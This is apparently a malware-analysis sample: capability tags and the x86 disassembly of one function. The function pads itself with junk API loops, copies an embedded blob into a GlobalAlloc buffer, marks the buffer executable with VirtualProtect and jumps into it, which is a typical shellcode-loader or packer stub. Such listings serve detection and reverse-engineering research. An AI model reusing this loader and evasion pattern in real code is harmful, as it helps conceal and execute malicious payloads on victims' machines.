Function at 0x4052a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Read file on windows
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc24
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x4052e6
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp edi, 0x207142
jg 0x4052f7
inc edi
cmp edi, 0x67d12
jl 0x4052b4
cmp dword [0x5e7654], 0x93
jne 0x4053a8
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push 0x404d80
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
call fcn.0040671e
pop ecx
push esi
push esi
push esi
push esi
call fcn.004063f3
pop ecx
pop ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00406470
fstp st(0)
add esp, 8
lea ecx, [ebp - 0x14]
call fcn.00405e17
lea ecx, [ebp - 0x14]
call fcn.00405e53
push esi
call fcn.00406188
pop ecx
push esi
call fcn.0040619e
pop ecx
push esi
push esi
call fcn.00405e00
push esi
push esi
call fcn.00406443
add esp, 0x10
push esi
call fcn.00406ab3
add dword [0x5e7654], 0x1134b
push dword [0x5e7654]
mov eax, dword [0x444c64]
push esi
mov dword [0x5e8490], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x5e7654]
mov dword [0x5e70e4], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
call dword [sym.imp.USER32.dll_CharUpperW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec edi
jne 0x4053e6
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x5e7654], esi
jbe 0x405459
mov eax, dword [0x5e8490]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x5e70e4]
mov byte [ecx + edi], al
cmp dword [0x5e7654], 0x490
jne 0x405450
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x5e7654]
jb 0x40540c
xor edi, edi
mov eax, dword [0x5e7654]
add eax, edi
cmp eax, 0x8d
jne 0x405498
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push 0x404d7c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc edi
cmp edi, 0x38681
jl 0x40545b
call fcn.004051cb
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x4054c7
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x11557
mov eax, dword [ebp - 4]
add dword [0x5e70e4], eax
inc edi
cmp edi, 0x674bd
jl 0x4054a8
push 0x7b
pop edi
cmp dword [0x5e7654], 0x86
jne 0x40551f
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea eax, [ebp - 0xc20]
push eax
push 0x404df4
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push esi
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
cmp dword [0x5e7654], 0xf
jne 0x405532
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
dec edi
jne 0x4054d3
push 0x404e10
call ebx
call dword [0x5e70e4]
pop edi
pop esi
pop ebx
leave
ret